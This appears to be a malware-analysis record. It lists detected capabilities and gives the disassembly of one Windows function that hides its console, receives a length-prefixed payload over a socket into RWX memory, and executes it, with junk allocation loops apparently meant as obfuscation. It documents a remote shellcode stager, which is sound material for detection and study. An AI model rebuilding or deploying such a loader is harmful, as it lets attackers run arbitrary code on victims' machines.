Function at 0x401998
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xb6c4
call fcn.00402b70
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4019f8
mov dword [esp], 0x1a90
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x95a0], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2560
jle 0x4019dc
call sym._xHfhAyXdM
call sym._bqlkNuhOcArTc
mov dword [ebp - 0xb020], eax
mov dword [ebp - 0xc], 0
jmp 0x401a36
mov dword [esp], 0x99e
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb01c], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x69e
jle 0x401a1a
mov eax, dword [ebp - 0xb020]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jne 0x401a79
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401a87
mov eax, dword [ebp - 0xb020]
mov dword [esp], eax
call sym._MwgrVtMeBm
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401add
call sym._QosmnmZ
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x95a0]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2560
jle 0x401abe
cmp dword [ebp - 0x14], 0
jne 0x401afa
mov eax, dword [ebp - 0xb020]
mov dword [esp], eax
call sym._MwgrVtMeBm
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xb020]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x401b33
mov dword [esp], 0x2273
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb6b8], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1a5
jle 0x401b17
mov dword [ebp - 0xc], 0
jmp 0x401b64
call sym._ybVREcPyHdC
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xb01c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x69e
jle 0x401b45
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 5]
mov eax, dword [ebp - 0xb020]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._yTtmpfxRltyneCH
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401bc4
call sym._zXPhSNpxEemUIA
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xb6b8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1a5
jle 0x401ba5
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret